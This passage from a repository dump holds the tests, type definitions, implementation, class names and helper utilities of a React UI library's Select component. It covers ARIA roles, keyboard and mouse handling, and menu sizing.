   render(\n        <ThemeProvider theme={theme}>\n          <Select variant={variant} value=\"first\" data-testid=\"input\">\n            <MenuItem value=\"first\" />\n            <MenuItem value=\"second\" />\n          </Select>\n        </ThemeProvider>,\n      );\n\n      expect(screen.getByTestId('input')).to.toHaveComputedStyle({\n        fontWeight: '200',\n      });\n    });\n  });\n\n  describe('prop: input', () => {\n    it('merges `ref` of `Select` and `input`', () => {\n      const Input = React.forwardRef(function Input(props, ref) {\n        const { inputProps, inputComponent: Component, ...other } = props;\n\n        React.useImperativeHandle(ref, () => {\n          return { refToInput: true };\n        });\n\n        return <Component {...inputProps} {...other} ref={ref} />;\n      });\n      const inputRef = React.createRef();\n      const selectRef = React.createRef();\n      render(\n        <Select input={<Input data-testid=\"input\" ref={inputRef} value=\"\" />} ref={selectRef} />,\n      );\n\n      expect(inputRef).to.deep.equal({ current: { refToInput: true } });\n      expect(selectRef).to.deep.equal({ current: { refToInput: true } });\n    });\n\n    it('should have root class', () => {\n      const { container } = render(\n        <Select value={10}>\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n\n      expect(container.querySelector(`.${classes.root}`)).not.to.equal(null);\n    });\n\n    it('should merge the class names', () => {\n      render(\n        <Select\n          className=\"foo\"\n          input={<InputBase data-testid=\"root\" className=\"bar\" />}\n          value=\"\"\n        />,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class('foo');\n      expect(screen.getByTestId('root')).to.have.class('bar');\n    });\n  });\n\n  it('should not focus select when clicking an arbitrary element with id=\"undefined\"', () => {\n    render(\n      <React.Fragment>\n        <div id=\"undefined\" data-testid=\"test-element\" />\n        <Select value=\"\" />\n      </React.Fragment>,\n    );\n\n    fireEvent.click(screen.getByTestId('test-element'));\n\n    expect(screen.getByRole('combobox')).not.toHaveFocus();\n  });\n\n  it('outlined icon should be selectable with sibling selector', () => {\n    const { container } = render(<Select value=\"\" />);\n    expect(container.querySelector('.MuiSelect-outlined ~ .MuiSelect-icon')).not.to.equal(null);\n  });\n\n  it('standard icon should be selectable with sibling selector', () => {\n    const { container } = render(<Select value=\"\" variant=\"standard\" />);\n    expect(container.querySelector('.MuiSelect-standard ~ .MuiSelect-icon')).not.to.equal(null);\n  });\n\n  it('filled icon should be selectable with sibling selector', () => {\n    const { container } = render(<Select value=\"\" variant=\"filled\" />);\n    expect(container.querySelector('.MuiSelect-filled ~ .MuiSelect-icon')).not.to.equal(null);\n  });\n\n  it('should call onKeyDown when passed', async () => {\n    const handleKeyDown = spy();\n\n    render(\n      <Select value=\"one\" onKeyDown={handleKeyDown}>\n        <MenuItem value=\"one\">One</MenuItem>\n        <MenuItem value=\"two\">Two</MenuItem>\n      </Select>,\n    );\n\n    const trigger = screen.getByRole('combobox');\n    await act(async () => {\n      trigger.focus();\n    });\n\n    fireEvent.keyDown(trigger, { key: 'a' });\n\n    expect(handleKeyDown.callCount).to.equal(1);\n    const event = handleKeyDown.firstCall.args[0];\n    expect(event).to.have.property('key', 'a');\n  });\n\n  it('should call onMouseDown when passed', async () => {\n    const handleMouseDown = spy();\n\n    render(\n      <Select value=\"one\" onMouseDown={handleMouseDown}>\n        <MenuItem value=\"one\">One</MenuItem>\n        <MenuItem value=\"two\">Two</MenuItem>\n      </Select>,\n    );\n\n    const trigger = screen.getByRole('combobox');\n    await act(async () => {\n      trigger.focus();\n    });\n\n    fireEvent.mouseDown(trigger);\n\n    expect(handleMouseDown.callCount).to.equal(1);\n    const event = handleMouseDown.firstCall.args[0];\n    expect(event.button).to.equal(0);\n  });\n\n  describe('keyboard navigation in shadow DOM', () => {\n    it.skipIf(isJsdom())('should navigate between options using arrow keys', async function test() {\n      // reset fake timers\n      clock.restore();\n\n      // Create a shadow container\n      const shadowHost = document.createElement('div');\n      document.body.appendChild(shadowHost);\n      const shadowContainer = shadowHost.attachShadow({ mode: 'open' });\n\n      // Render directly into shadow container\n      const shadowRoot = document.createElement('div');\n      shadowContainer.appendChild(shadowRoot);\n\n      const { unmount, user } = render(\n        <Select value=\"\" MenuProps={{ container: shadowRoot }}>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n        { container: shadowRoot },\n      );\n\n      const trigger = shadowRoot.querySelector('[role=\"combobox\"]');\n      expect(trigger).not.to.equal(null);\n\n      // Open Select\n      await user.click(trigger);\n\n      const options = shadowRoot.querySelectorAll('[role=\"option\"]');\n      expect(options.length).to.equal(3);\n\n      expect(shadowContainer.activeElement).to.equal(options[0]);\n\n      await user.keyboard('{ArrowDown}');\n\n      expect(shadowContainer.activeElement).to.equal(options[1]);\n\n      await user.keyboard('{ArrowUp}');\n\n      expect(shadowContainer.activeElement).to.equal(options[0]);\n\n      // Cleanup\n      unmount();\n      if (shadowHost.parentNode) {\n        document.body.removeChild(shadowHost);\n      }\n    });\n  });\n\n  it.skipIf(isJsdom())('updates menu minWidth when the trigger resizes while open', async () => {\n    clock.restore();\n\n    render(\n      <Select value=\"\" MenuProps={{ transitionDuration: 0 }}>\n        <MenuItem value=\"\">None</MenuItem>\n        <MenuItem value={10}>Ten</MenuItem>\n      </Select>,\n    );\n\n    const combobox = screen.getByRole('combobox');\n    const anchor = combobox.parentElement;\n    anchor.style.width = '320px';\n\n    fireEvent.mouseDown(combobox);\n\n    await waitFor(() => {\n      const listbox = screen.getByRole('listbox');\n      const paper = listbox.parentElement;\n      expect(paper.style.minWidth).to.equal('320px');\n    });\n\n    anchor.style.width = '180px';\n\n    // ResizeObserver callbacks are delivered during the browser's rendering pipeline.\n    // Force at least one complete frame so the RO can detect the size change,\n    await act(async () => {\n      await new Promise((resolve) => {\n        requestAnimationFrame(() => requestAnimationFrame(resolve));\n      });\n    });\n\n    await waitFor(() => {\n      const listbox = screen.getByRole('listbox');\n      const paper = listbox.parentElement;\n      expect(paper.style.minWidth).to.equal('180px');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Select/SelectInput.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { MenuProps } from '../Menu';\n\n/**\n * The change can be caused by different kind of events.\n * The type of event depends on what caused the change.\n * For example, when the browser auto-fills the `Select` you'll receive a `React.ChangeEvent`.\n */\n\nexport type SelectChangeEvent<Value = string> = Value extends (string & {}) | number\n  ?\n      | React.ChangeEvent<Omit<HTMLInputElement, 'value'> & { value: Value }>\n      | (Event & { target: { value: Value; name: string } })\n  : React.ChangeEvent<HTMLInputElement> | (Event & { target: { value: Value; name: string } });\n\nexport interface SelectInputProps<Value = unknown> {\n  autoFocus?: boolean | undefined;\n  autoWidth: boolean;\n  defaultOpen?: boolean | undefined;\n  disabled?: boolean | undefined;\n  error?: boolean | undefined;\n  IconComponent?: React.ElementType | undefined;\n  inputRef?:\n    | ((\n        ref:\n          | HTMLSelectElement\n          | { node: HTMLInputElement; value: SelectInputProps<Value>['value'] },\n      ) => void)\n    | undefined;\n  MenuProps?: Partial<MenuProps> | undefined;\n  multiple: boolean;\n  name?: string | undefined;\n  native: boolean;\n  onBlur?: React.FocusEventHandler<any> | undefined;\n  onChange?: ((event: SelectChangeEvent<Value>, child: React.ReactNode) => void) | undefined;\n  onClose?: ((event: React.SyntheticEvent) => void) | undefined;\n  onFocus?: React.FocusEventHandler<any> | undefined;\n  onKeyDown?: React.KeyboardEventHandler | undefined;\n  onMouseDown?: React.MouseEventHandler | undefined;\n  onOpen?: ((event: React.SyntheticEvent) => void) | undefined;\n  open?: boolean | undefined;\n  readOnly?: boolean | undefined;\n  renderValue?: ((value: SelectInputProps<Value>['value']) => React.ReactNode) | undefined;\n  SelectDisplayProps?: React.HTMLAttributes<HTMLDivElement> | undefined;\n  sx?: SxProps<Theme> | undefined;\n  tabIndex?: number | undefined;\n  value?: Value | undefined;\n  variant?: 'standard' | 'outlined' | 'filled' | undefined;\n}\n\ndeclare const SelectInput: React.JSXElementConstructor<SelectInputProps>;\n\nexport default SelectInput;\n"
  },
  {
    "path": "packages/mui-material/src/Select/SelectInput.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport useId from '@mui/utils/useId';\nimport refType from '@mui/utils/refType';\nimport ownerDocument from '../utils/ownerDocument';\nimport Menu from '../Menu/Menu';\nimport { StyledSelectSelect, StyledSelectIcon } from '../NativeSelect/NativeSelectInput';\nimport { isFilled } from '../InputBase/utils';\nimport { styled } from '../zero-styled';\nimport slotShouldForwardProp from '../styles/slotShouldForwardProp';\nimport useForkRef from '../utils/useForkRef';\nimport useControlled from '../utils/useControlled';\nimport selectClasses, { getSelectUtilityClasses } from './selectClasses';\nimport { areEqualValues, isEmpty, getOpenInteractionType } from './utils';\nimport { SelectFocusSourceProvider } from './utils/SelectFocusSourceContext';\n\nconst SelectSelect = styled(StyledSelectSelect, {\n  name: 'MuiSelect',\n  slot: 'Select',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [\n      // Win specificity over the input base\n      { [`&.${selectClasses.select}`]: styles.select },\n      { [`&.${selectClasses.select}`]: styles[ownerState.variant] },\n      { [`&.${selectClasses.error}`]: styles.error },\n      { [`&.${selectClasses.multiple}`]: styles.multiple },\n    ];\n  },\n})({\n  // Win specificity over the input base\n  [`&.${selectClasses.select}`]: {\n    height: 'auto', // Resets for multiple select with chips\n    minHeight: '1.4375em', // Required for select\\text-field height consistency\n    textOverflow: 'ellipsis',\n    whiteSpace: 'nowrap',\n    overflow: 'hidden',\n  },\n});\n\nconst SelectIcon = styled(StyledSelectIcon, {\n  name: 'MuiSelect',\n  slot: 'Icon',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [styles.icon, ownerState.open && styles.iconOpen];\n  },\n})({});\n\nconst SelectNativeInput = styled('input', {\n  shouldForwardProp: (prop) => slotShouldForwardProp(prop) && prop !== 'classes',\n  name: 'MuiSelect',\n  slot: 'NativeInput',\n})({\n  bottom: 0,\n  left: 0,\n  position: 'absolute',\n  opacity: 0,\n  pointerEvents: 'none',\n  width: '100%',\n  boxSizing: 'border-box',\n});\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant, disabled, multiple, open, error } = ownerState;\n\n  const slots = {\n    select: ['select', variant, disabled && 'disabled', multiple && 'multiple', error && 'error'],\n    icon: ['icon', open && 'iconOpen', disabled && 'disabled'],\n    nativeInput: ['nativeInput'],\n  };\n\n  return composeClasses(slots, getSelectUtilityClasses, classes);\n};\n\n/**\n * @ignore - internal component.\n */\nconst SelectInput = React.forwardRef(function SelectInput(props, ref) {\n  const {\n    'aria-describedby': ariaDescribedby,\n    'aria-label': ariaLabel,\n    autoFocus,\n    autoWidth,\n    children,\n    className,\n    defaultOpen,\n    defaultValue,\n    disabled,\n    displayEmpty,\n    error = false,\n    IconComponent,\n    inputRef: inputRefProp,\n    labelId,\n    MenuProps = {},\n    multiple,\n    name,\n    onBlur,\n    onChange,\n    onClose,\n    onFocus,\n    // eslint-disable-next-line react/prop-types\n    onKeyDown,\n    // eslint-disable-next-line react/prop-types\n    onMouseDown,\n    onOpen,\n    open: openProp,\n    readOnly,\n    renderValue,\n    required,\n    SelectDisplayProps = {},\n    tabIndex: tabIndexProp,\n    // catching `type` from Input which makes no sense for SelectInput\n    type,\n    value: valueProp,\n    variant = 'standard',\n    ...other\n  } = props;\n\n  const [value, setValueState] = useControlled({\n    controlled: valueProp,\n    default: defaultValue,\n    name: 'Select',\n  });\n  const [openState, setOpenState] = useControlled({\n    controlled: openProp,\n    default: defaultOpen,\n    name: 'Select',\n  });\n\n  const inputRef = React.useRef(null);\n  const displayRef = React.useRef(null);\n  const [displayNode, setDisplayNode] = React.useState(null);\n  const { current: isOpenControlled } = React.useRef(openProp != null);\n  const [menuMinWidthState, setMenuMinWidthState] = React.useState();\n  const [openInteractionType, setOpenInteractionType] = React.useState(null);\n  const handleRef = useForkRef(ref, inputRefProp);\n\n  const handleDisplayRef = React.useCallback((node) => {\n    displayRef.current = node;\n\n    if (node) {\n      setDisplayNode(node);\n    }\n  }, []);\n\n  const anchorElement = displayNode?.parentNode;\n\n  React.useImperativeHandle(\n    handleRef,\n    () => ({\n      focus: () => {\n        displayRef.current.focus();\n      },\n      node: inputRef.current,\n      value,\n    }),\n    [value],\n  );\n\n  const open = displayNode !== null && openState;\n\n  React.useEffect(() => {\n    if (!open || !anchorElement || autoWidth) {\n      return undefined;\n    }\n\n    if (typeof ResizeObserver === 'undefined') {\n      return undefined;\n    }\n\n    const observer = new ResizeObserver(() => {\n      setMenuMinWidthState(anchorElement.clientWidth);\n    });\n\n    observer.observe(anchorElement);\n\n    return () => {\n      observer.disconnect();\n    };\n  }, [open, anchorElement, autoWidth]);\n\n  // Resize menu on `defaultOpen` automatic toggle.\n  React.useEffect(() => {\n    if (defaultOpen && openState && displayNode && !isOpenControlled) {\n      setMenuMinWidthState(autoWidth ? null : anchorElement.clientWidth);\n      displayRef.current.focus();\n    }\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [displayNode, autoWidth]);\n  // `isOpenControlled` is ignored because the component should never switch between controlled and uncontrolled modes.\n  // `defaultOpen` and `openState` are ignored to avoid unnecessary callbacks.\n  React.useEffect(() => {\n    if (autoFocus) {\n      displayRef.current.focus();\n    }\n  }, [autoFocus]);\n\n  React.useEffect(() => {\n    if (!labelId) {\n      return undefined;\n    }\n    const label = ownerDocument(displayRef.current).getElementById(labelId);\n    if (label) {\n      const handler = () => {\n        if (getSelection().isCollapsed) {\n          displayRef.current.focus();\n        }\n      };\n      label.addEventListener('click', handler);\n      return () => {\n        label.removeEventListener('click', handler);\n      };\n    }\n    return undefined;\n  }, [labelId]);\n\n  const update = (openParam, event) => {\n    if (openParam) {\n      setOpenInteractionType(getOpenInteractionType(event));\n\n      if (onOpen) {\n        onOpen(event);\n      }\n    } else {\n      setOpenInteractionType(null);\n\n      if (onClose) {\n        onClose(event);\n      }\n    }\n\n    if (!isOpenControlled) {\n      setMenuMinWidthState(autoWidth ? null : anchorElement.clientWidth);\n      setOpenState(openParam);\n    }\n  };\n\n  const handleMouseDown = (event) => {\n    onMouseDown?.(event);\n    // Ignore everything but left-click\n    if (event.button !== 0) {\n      return;\n    }\n    // Hijack the default focus behavior.\n    event.preventDefault();\n    displayRef.current.focus();\n\n    update(true, event);\n  };\n\n  const handleClose = (event) => {\n    update(false, event);\n  };\n\n  const childrenArray = React.Children.toArray(children);\n\n  // Support autofill.\n  const handleChange = (event) => {\n    const child = childrenArray.find((childItem) => childItem.props.value === event.target.value);\n\n    if (child === undefined) {\n      return;\n    }\n\n    setValueState(child.props.value);\n\n    if (onChange) {\n      onChange(event, child);\n    }\n  };\n\n  const handleItemClick = (child) => (event) => {\n    let newValue;\n\n    // We use the tabindex attribute to signal the available options.\n    if (!event.currentTarget.hasAttribute('tabindex')) {\n      return;\n    }\n\n    if (multiple) {\n      newValue = Array.isArray(value) ? value.slice() : [];\n      const itemIndex = value.indexOf(child.props.value);\n      if (itemIndex === -1) {\n        newValue.push(child.props.value);\n      } else {\n        newValue.splice(itemIndex, 1);\n      }\n    } else {\n      newValue = child.props.value;\n    }\n\n    if (child.props.onClick) {\n      child.props.onClick(event);\n    }\n\n    if (value !== newValue) {\n      setValueState(newValue);\n\n      if (onChange) {\n        // Redefine target to allow name and value to be read.\n        // This allows seamless integration with the most popular form libraries.\n        // https://github.com/mui/material-ui/issues/13485#issuecomment-676048492\n        // Clone the event to not override `target` of the original event.\n        const nativeEvent = event.nativeEvent || event;\n        const clonedEvent = new nativeEvent.constructor(nativeEvent.type, nativeEvent);\n\n        Object.defineProperty(clonedEvent, 'target', {\n          writable: true,\n          value: { value: newValue, name },\n        });\n        onChange(clonedEvent, child);\n      }\n    }\n\n    if (!multiple) {\n      update(false, event);\n    }\n  };\n\n  const handleKeyDown = (event) => {\n    if (!readOnly) {\n      const validKeys = [\n        ' ',\n        'ArrowUp',\n        'ArrowDown',\n        // The native select doesn't respond to enter on macOS, but it's recommended by\n        // https://www.w3.org/WAI/ARIA/apg/patterns/combobox/examples/combobox-select-only/\n        'Enter',\n      ];\n\n      if (validKeys.includes(event.key)) {\n        event.preventDefault();\n        update(true, event);\n      }\n      onKeyDown?.(event);\n    }\n  };\n\n  const handleBlur = (event) => {\n    // if open event.stopImmediatePropagation\n    if (!open && onBlur) {\n      // Preact support, target is read only property on a native event.\n      Object.defineProperty(event, 'target', { writable: true, value: { value, name } });\n      onBlur(event);\n    }\n  };\n\n  delete other['aria-invalid'];\n\n  let display;\n  let displaySingle;\n  const displayMultiple = [];\n  let computeDisplay = false;\n  let foundMatch = false;\n\n  // No need to display any value if the field is empty.\n  if (isFilled({ value }) || displayEmpty) {\n    if (renderValue) {\n      display = renderValue(value);\n    } else {\n      computeDisplay = true;\n    }\n  }\n\n  const items = childrenArray.map((child) => {\n    if (!React.isValidElement(child)) {\n      return null;\n    }\n\n    if (process.env.NODE_ENV !== 'production') {\n      if (isFragment(child)) {\n        console.error(\n          [\n            \"MUI: The Select component doesn't accept a Fragment as a child.\",\n            'Consider providing an array instead.',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    let selected;\n\n    if (multiple) {\n      if (!Array.isArray(value)) {\n        throw /* minify-error */ new Error(\n          'MUI: The `value` prop must be an array ' +\n            'when using the `Select` component with `multiple`.',\n        );\n      }\n\n      selected = value.some((v) => areEqualValues(v, child.props.value));\n      if (selected && computeDisplay) {\n        displayMultiple.push(child.props.children);\n      }\n    } else {\n      selected = areEqualValues(value, child.props.value);\n      if (selected && computeDisplay) {\n        displaySingle = child.props.children;\n      }\n    }\n\n    if (selected) {\n      foundMatch = true;\n    }\n\n    return React.cloneElement(child, {\n      'aria-selected': selected ? 'true' : 'false',\n      onClick: handleItemClick(child),\n      onKeyUp: (event) => {\n        if (event.key === ' ') {\n          // otherwise our MenuItems dispatches a click event\n          // it's not behavior of the native <option> and causes\n          // the select to close immediately since we open on space keydown\n          event.preventDefault();\n        }\n\n        if (child.props.onKeyUp) {\n          child.props.onKeyUp(event);\n        }\n      },\n      role: 'option',\n      selected,\n      value: undefined, // The value is most likely not a valid HTML attribute.\n      'data-value': child.props.value, // Instead, we provide it as a data attribute.\n    });\n  });\n\n  if (process.env.NODE_ENV !== 'production') {\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    React.useEffect(() => {\n      if (!foundMatch && !multiple && value !== '') {\n        const values = childrenArray.map((child) => child.props.value);\n        console.warn(\n          [\n            `MUI: You have provided an out-of-range value \\`${value}\\` for the select ${\n              name ? `(name=\"${name}\") ` : ''\n            }component.`,\n            \"Consider providing a value that matches one of the available options or ''.\",\n            `The available values are ${\n              values\n                .filter((x) => x != null)\n                .map((x) => `\\`${x}\\``)\n                .join(', ') || '\"\"'\n            }.`,\n          ].join('\\n'),\n        );\n      }\n    }, [foundMatch, childrenArray, multiple, name, value]);\n  }\n\n  if (computeDisplay) {\n    if (multiple) {\n      if (displayMultiple.length === 0) {\n        display = null;\n      } else {\n        display = displayMultiple.reduce((output, child, index) => {\n          output.push(child);\n          if (index < displayMultiple.length - 1) {\n            output.push(', ');\n          }\n          return output;\n        }, []);\n      }\n    } else {\n      display = displaySingle;\n    }\n  }\n\n  // Avoid performing a layout computation in the render method.\n  let menuMinWidth = menuMinWidthState;\n\n  if (!autoWidth && isOpenControlled && displayNode) {\n    menuMinWidth = anchorElement.clientWidth;\n  }\n\n  let tabIndex;\n  if (typeof tabIndexProp !== 'undefined') {\n    tabIndex = tabIndexProp;\n  } else {\n    tabIndex = disabled ? null : 0;\n  }\n\n  const buttonId = SelectDisplayProps.id || (name ? `mui-component-select-${name}` : undefined);\n\n  const ownerState = {\n    ...props,\n    variant,\n    value,\n    open,\n    error,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const menuPaperSlotProps =\n    typeof MenuProps.slotProps?.paper === 'function'\n      ? MenuProps.slotProps.paper(ownerState)\n      : MenuProps.slotProps?.paper;\n\n  const menuListSlotProps =\n    typeof MenuProps.slotProps?.list === 'function'\n      ? MenuProps.slotProps.list(ownerState)\n      : MenuProps.slotProps?.list;\n\n  const listboxId = useId();\n  const nativeInputId = useId();\n\n  return (\n    <React.Fragment>\n      <SelectSelect\n        as=\"div\"\n        ref={handleDisplayRef}\n        tabIndex={tabIndex}\n        role=\"combobox\"\n        aria-controls={open ? listboxId : undefined}\n        aria-disabled={disabled ? 'true' : undefined}\n        aria-expanded={open ? 'true' : 'false'}\n        aria-haspopup=\"listbox\"\n        aria-label={ariaLabel}\n        aria-labelledby={[labelId, buttonId].filter(Boolean).join(' ') || undefined}\n        aria-describedby={ariaDescribedby}\n        aria-required={required ? 'true' : undefined}\n        aria-invalid={error ? 'true' : undefined}\n        onKeyDown={handleKeyDown}\n        onMouseDown={disabled || readOnly ? null : handleMouseDown}\n        onBlur={handleBlur}\n        onFocus={onFocus}\n        {...SelectDisplayProps}\n        ownerState={ownerState}\n        className={clsx(SelectDisplayProps.className, classes.select, className)}\n        // The id is required for proper a11y\n        id={buttonId}\n      >\n        {/* So the vertical align positioning algorithm kicks in. */}\n        {isEmpty(display) ? (\n          // notranslate needed while Google Translate will not fix zero-width space issue\n          <span className=\"notranslate\" aria-hidden>\n            &#8203;\n          </span>\n        ) : (\n          display\n        )}\n      </SelectSelect>\n      <SelectNativeInput\n        aria-invalid={error}\n        value={Array.isArray(value) ? value.join(',') : value}\n        name={name}\n        ref={inputRef}\n        aria-hidden\n        onChange={handleChange}\n        tabIndex={-1}\n        disabled={disabled}\n        className={classes.nativeInput}\n        autoFocus={autoFocus}\n        required={required}\n        {...other}\n        id={other.id ?? nativeInputId}\n        ownerState={ownerState}\n      />\n      <SelectIcon as={IconComponent} className={classes.icon} ownerState={ownerState} />\n      <SelectFocusSourceProvider value={openInteractionType}>\n        <Menu\n          id={`menu-${name || ''}`}\n          anchorEl={anchorElement}\n          open={open}\n          onClose={handleClose}\n          anchorOrigin={{\n            vertical: 'bottom',\n            horizontal: 'center',\n          }}\n          transformOrigin={{\n            vertical: 'top',\n            horizontal: 'center',\n          }}\n          {...MenuProps}\n          slotProps={{\n            ...MenuProps.slotProps,\n            list: {\n              'aria-labelledby': labelId,\n              role: 'listbox',\n              'aria-multiselectable': multiple ? 'true' : undefined,\n              disableListWrap: true,\n              id: listboxId,\n              ...menuListSlotProps,\n            },\n            paper: {\n              ...menuPaperSlotProps,\n              style: {\n                minWidth: menuMinWidth,\n                ...menuPaperSlotProps?.style,\n              },\n            },\n          }}\n        >\n          {items}\n        </Menu>\n      </SelectFocusSourceProvider>\n    </React.Fragment>\n  );\n});\n\nSelectInput.propTypes = {\n  /**\n   * @ignore\n   */\n  'aria-describedby': PropTypes.string,\n  /**\n   * @ignore\n   */\n  'aria-label': PropTypes.string,\n  /**\n   * @ignore\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * If `true`, the width of the popover will automatically be set according to the items inside the\n   * menu, otherwise it will be at least the width of the select input.\n   */\n  autoWidth: PropTypes.bool,\n  /**\n   * The option elements to populate the select with.\n   * Can be some `<MenuItem>` elements.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * The CSS class name of the select element.\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the component is toggled on mount. Use when the component open state is not controlled.\n   * You can only use it when the `native` prop is `false` (default).\n   */\n  defaultOpen: PropTypes.bool,\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue: PropTypes.any,\n  /**\n   * If `true`, the select is disabled.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the selected item is displayed even if its value is empty.\n   */\n  displayEmpty: PropTypes.bool,\n  /**\n   * If `true`, the `select input` will indicate an error.\n   */\n  error: PropTypes.bool,\n  /**\n   * The icon that displays the arrow.\n   */\n  IconComponent: PropTypes.elementType.isRequired,\n  /**\n   * Imperative handle implementing `{ value: T, node: HTMLElement, focus(): void }`\n   * Equivalent to `ref`\n   */\n  inputRef: refType,\n  /**\n   * The ID of an element that acts as an additional label. The Select will\n   * be labelled by the additional label and the selected value.\n   */\n  labelId: PropTypes.string,\n  /**\n   * Props applied to the [`Menu`](/material-ui/api/menu/) element.\n   */\n  MenuProps: PropTypes.object,\n  /**\n   * If `true`, `value` must be an array and the menu will support multiple selections.\n   */\n  multiple: PropTypes.bool,\n  /**\n   * Name attribute of the `select` or hidden `input` element.\n   */\n  name: PropTypes.string,\n  /**\n   * @ignore\n   */\n  onBlur: PropTypes.func,\n  /**\n   * Callback fired when a menu item is selected.\n   *\n   * @param {object} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (any).\n   * @param {object} [child] The react element that was selected.\n   */\n  onChange: PropTypes.func,\n  /**\n   * Callback fired when the component requests to be closed.\n   * Use in controlled mode (see open).\n   *\n   * @param {object} event The event source of the callback.\n   */\n  onClose: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onFocus: PropTypes.func,\n  /**\n   * Callback fired when the component requests to be opened.\n   * Use in controlled mode (see open).\n   *\n   * @param {object} event The event source of the callback.\n   */\n  onOpen: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  readOnly: PropTypes.bool,\n  /**\n   * Render the selected value.\n   *\n   * @param {any} value The `value` provided to the component.\n   * @returns {ReactNode}\n   */\n  renderValue: PropTypes.func,\n  /**\n   * If `true`, the component is required.\n   */\n  required: PropTypes.bool,\n  /**\n   * Props applied to the clickable div element.\n   */\n  SelectDisplayProps: PropTypes.object,\n  /**\n   * @ignore\n   */\n  tabIndex: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * @ignore\n   */\n  type: PropTypes.any,\n  /**\n   * The input value.\n   */\n  value: PropTypes.any,\n  /**\n   * The variant to use.\n   */\n  variant: PropTypes.oneOf(['standard', 'outlined', 'filled']),\n};\n\nexport default SelectInput;\n"
  },
  {
    "path": "packages/mui-material/src/Select/index.d.ts",
    "content": "export { default } from './Select';\nexport * from './Select';\nexport * from './utils';\n\nexport { default as selectClasses } from './selectClasses';\nexport * from './selectClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Select/index.js",
    "content": "export { default } from './Select';\nexport * from './utils';\n\nexport { default as selectClasses } from './selectClasses';\nexport * from './selectClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Select/selectClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SelectClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the select component `select` class. */\n  select: string;\n  /** Styles applied to the select component if `multiple={true}`. */\n  multiple: string;\n  /** Styles applied to the select component if `variant=\"filled\"`. */\n  filled: string;\n  /** Styles applied to the select component if it is focused. */\n  focused: string;\n  /** Styles applied to the select component if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the select component if `variant=\"standard\"`. */\n  standard: string;\n  /** State class applied to the select component `disabled` class. */\n  disabled: string;\n  /** Styles applied to the icon component. */\n  icon: string;\n  /** Styles applied to the icon component if the popup is open. */\n  iconOpen: string;\n  /** Styles applied to the underlying native input component. */\n  nativeInput: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n}\n\nexport type SelectClassKey = keyof SelectClasses;\n\nexport function getSelectUtilityClasses(slot: string): string {\n  return generateUtilityClass('MuiSelect', slot);\n}\n\nconst selectClasses: SelectClasses = generateUtilityClasses('MuiSelect', [\n  'root',\n  'select',\n  'multiple',\n  'filled',\n  'outlined',\n  'standard',\n  'disabled',\n  'focused',\n  'icon',\n  'iconOpen',\n  'nativeInput',\n  'error',\n]);\n\nexport default selectClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Select/utils/SelectFocusSourceContext.ts",
    "content": "'use client';\nimport * as React from 'react';\n\nconst SelectFocusSourceContext = React.createContext<'keyboard' | 'mouse' | 'touch' | null>(null);\n\nif (process.env.NODE_ENV !== 'production') {\n  SelectFocusSourceContext.displayName = 'SelectFocusSourceContext';\n}\n\nfunction useSelectFocusSource() {\n  const context = React.useContext(SelectFocusSourceContext);\n\n  return context;\n}\n\nconst SelectFocusSourceProvider = SelectFocusSourceContext.Provider;\n\nexport { useSelectFocusSource, SelectFocusSourceProvider };\n"
  },
  {
    "path": "packages/mui-material/src/Select/utils/areEqualValues.ts",
    "content": "export default function areEqualValues(a: unknown, b: unknown): boolean {\n  if (typeof b === 'object' && b !== null) {\n    return a === b;\n  }\n\n  // The value could be a number, the DOM will stringify it anyway.\n  return String(a) === String(b);\n}\n"
  },
  {
    "path": "packages/mui-material/src/Select/utils/getOpenInteractionType.ts",
    "content": "export default function getOpenInteractionType(\n  event: MouseEvent | KeyboardEvent | TouchEvent | PointerEvent | null,\n): 'keyboard' | 'pointer' | null {\n  if (!event) {\n    return null;\n  }\n\n  if (event.type === 'mousedown' || event.type === 'pointerdown' || event.type === 'touchstart') {\n    return 'pointer';\n  }\n\n  if (event.type === 'keydown' || (event.type === 'click' && event.detail === 0)) {\n    return 'keyboard';\n  }\n\n  return null;\n}\n"
  },
  {
